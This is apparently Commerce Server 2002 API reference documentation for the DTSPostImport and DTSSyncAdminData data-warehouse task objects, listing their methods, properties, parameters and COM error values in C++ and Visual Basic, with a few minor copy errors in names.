DTSPostImport Methods[Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSPostImport::CustomTask_Execute Method [C++]

DTSPostImport.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSPostImport::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub PostTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPPostImport::PersistPropertyBag_Load Method [C++]

DTSPostImport.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSPostImport::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::PersistPropertyBag_Save Method [C++]

DTSPostImport.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSPostImport::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport Properties [C++]

DTSPostImport Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
CustomTask_Name | BSTR | Contains the descriptive name of the custom task. This property is read/write.
CustomTask_Properties | BSTR | Contains the properties of the custom task. This property is read-only.
MaxParallelOperations | long | Contains the maximum number of parallel operations that can be run at one time. This property is read/write.
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that contains the type of processing, which can be full, refresh data, or incremental. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the name of the Data Warehouse for which this task is processing data. This property is read/write.
TaskName | BSTR | Contains the name of the DTS task being run. This property is read/write.
[Visual Basic]
Property | Type | Description
CustomTask_Name | String | Contains the descriptive name of the custom task. This property is read/write.
CustomTask_Properties | String | Contains the properties of the custom task. This property is read-only.
MaxParallelOperations | Long | Contains the maximum number of parallel operations that can be run at one time. This property is read/write.
NumRetries | Long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that contains the type of processing, which can be full, refresh data, or incremental. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Data Warehouse for which this task is processing data. This property is read/write.
TaskName | String | Contains the name of the DTS task being run. This property is read/write.


_DTSPostImport::get_CustomTask_Name, CustomTask_Name Property [C++]

DTSPostImport.CustomTask_Name Property [Visual Basic]

The CustomTask_Name property is a read/write string that contains name of the custom task.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_CustomTask_Name(
 BSTR CustomTask_Name
);

Put method:

HRESULT _DTSPostImport::put_CustomTask_Name(
 BSTR CustomTask_Name
);
[Visual Basic]
Property CustomTask_Name() As String

Parameters

CustomTask_Name [C++]
[in] When putting the property, a BSTR that contains name of the custom task.
[out,retval] When getting the property, a BSTR that contains name of the custom task.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::get_CustomTask_Properties Property [C++]

DTSPostImport.CustomTask_Properties Property [Visual Basic]

The CustomTask_Properties property is a read-only string that contains the property values for the task.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_CustomTask_Properties(
 BSTR CustomTask_Properties
);

Put method:

HRESULT _DTSPostImport::put_NumRetries(
 BSTR CustomTask_Properties
);
[Visual Basic]
Property CustomTask_Properties() As String

Parameters

NumRetries [C++]
[in] When putting the property, a BSTR that contains the property values for the task
[out,retval] When getting the property, a BSTR that contains the property values for the task
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::get_MaxParallelOperations, put_MaxParallelOperations Property [C++]

DTSPostImport.MaxParallelOperations Property [Visual Basic]

The MaxParallelOperations property is a read/write long that contains the maximum number of parallel operations that can be run at one time.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_MaxParallelOperations(
 long MaxParallelOperations
);

Put method:

HRESULT _DTSPostImport::put_MaxParallelOperations(
 long MaxParallelOperations
);
[Visual Basic]
Property MaxParallelOperations() As Long

Parameters

NumRetries [C++]
[in] When putting the property, a long that contains the maximum number of parallel operations that can be run at one time.
[out,retval] When getting the property, a long that contains the maximum number of parallel operations that can be run at one time.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::get_NumRetries, put_NumRetries Property [C++]

DTSPostImport.NumRetries Property [Visual Basic]

The NumRetries property contains the number of retry attempts that will be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSPostImport::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries [C++]
[in] When putting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
[out,retval] When getting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::get_ProcessingType, put_ProcessType Property [C++]

DTSPostImport.ProcessingType Property [Visual Basic]

The ProcessingType property is an enumeration that contains the type of processing, which can be full, refresh data, or incremental.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_ProcessingType(
 long ProcessType
);

Put method:

HRESULT _DTSPostImport::put_ProcessingType(
 long ProcessType
);
[Visual Basic]
Property ProcessingType() As Long

Parameters

ProcessingType [C++]
[in] When putting the property, a long that contains the type of processing.
[out,retval] When getting the property, a long that contains the type of processing.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ProcessingType property is set to ptypeFull (0), the task will perform a full processing on all OLAP dimensions and cubes. In addition, it will re-design aggregations for cubes as specified in the Optimization column of the CubeProcInfo table in the Data Warehouse. If the ProcessingType property is set to ptypeRefreshData(1), the task will perform a data refesh on all OLAP dimensions and cubes. If the ProcessingType property is set to ptypeIncremental (100), the task will process the load incrementally. The OLAP cubes will be incrementally updated with data loaded into the Data Warehouse since the last Report Preparation DTS task was run. The default value is pTypeRefreshData(1).

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::get_RetryInterval, put_RetryInterval Property [C++]

DTSPostImport.RetryInterval Property [Visual Basic]

The RetryInterval property contains the amount of time, in seconds, that will pass between each retry attempt.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSPostImport::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval [C++]
[in] When putting the property, a long that contains the number of seconds between retry attempts.
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, the maximum value is 3600. The default value is 30.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::get_SourceName, put_SourceName Property [C++]

DTSPostImport.SourceName Property [Visual Basic]

The SourceName property is a String that contains the name of the Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_SourceName(
 BSTR SourceName
);

Put method:

HRESULT _DTSPostImport::put_SourceName(
 BSTR SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName [C++]
[in] When putting the property, a BSTR that contains the name of the Data Warehouse.
[out,retval] When putting the property, a BSTR that contains the name of the Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.TaskName


_DTSPostImport::get_TaskName, put_TaskName Property [C++]

DTSPostImport.TaskName Property [Visual Basic]

The TaskName property is a read/write String that contains the name of the Data Transformation Services (DTS) task being run.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_TaskName(
 BSTR TaskName
);

Put method:

HRESULT _DTSPostImport::put_TaskName(
 BSTR TaskName
);
[Visual Basic]
Property TaskName() As String

Parameters

TaskName [C++]
[in] When putting a value, a BSTR that contains the name of the DTS task being run.
[out,retval] When getting a value, a BSTR that contains the name of the DTS task being run.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName


DTSSyncAdminData Object [C++]

DTSSyncAdminData Object [Visual Basic]

Use this object to synchronize the Data Warehouse with your Commerce Server application after you make changes to configuration settings. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the Configuration Synchronization DTS task, see Scripting the Configuration Synchronization DTS Task.

ProgID: | Commerce.DTSSyncAdminData (Externally creatable)
COM Class Name: | DTSSyncAdminData
Type Library Name: | Microsoft Commerce 2002 Sync Admin Data DTS Task Type Library
DLL Name: | CSDWDTSSyncAdmin.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSSyncAdminData
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | long | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
NumRetries | Long | Contains the number of retry attempts. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | Long | An enumeration that contains the level on which the DTS task will operate. This property is read/write.

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSPostImport Object

DTSTransactionImport Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSPostImport Object

DTSTransactionImport Object


_DTSSSyncAdminData Methods [C++]

_DTSSSyncAdminData Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSSyncAdminData::CustomTask_Execute Method [C++]

DTSSyncAdminData.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSSyncAdminData::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::get_NumRetries, put_NumRetries

_DTSSyncAdminData::PersistPropertyBag_Load

_DTSSyncAdminData::PersistPropertyBag_Save

_DTSSyncAdminData::get_RetryInterval, put_RetryInterval

_DTSSyncAdminData::get_SourceName, put_SourceName

_DTSSyncAdminData::get_SourceType, put_SourceType

[Visual Basic]

DTSSyncAdminData.NumRetries

DTSSyncAdminData.PersistPropertyBag_Load

DTSSyncAdminData.PersistPropertyBag_Save

DTSSyncAdminData.RetryInterval

DTSSyncAdminData.SourceName

DTSSyncAdminData.SourceType


_DTSSyncAdminData::PersistPropertyBag_Load Method [C++]

DTSSyncAdminData.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSSyncAdminData::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::CustomTask_Execute

_DTSSyncAdminData::get_NumRetries, put_NumRetries

_DTSSyncAdminData::PersistPropertyBag_Save

_DTSSyncAdminData::get_RetryInterval, put_RetryInterval

_DTSSyncAdminData::get_SourceName, put_SourceName

_DTSSyncAdminData::get_SourceType, put_SourceType

[Visual Basic]

DTSSyncAdminData.CustomTask_Execute

DTSSyncAdminData.NumRetries

DTSSyncAdminData.PersistPropertyBag_Save

DTSSyncAdminData.RetryInterval

DTSSyncAdminData.SourceName

DTSSyncAdminData.SourceType


_DTSSyncAdminData::PersistPropertyBag_Save Method [C++]

DTSSyncAdminData.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSSyncAdminData::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

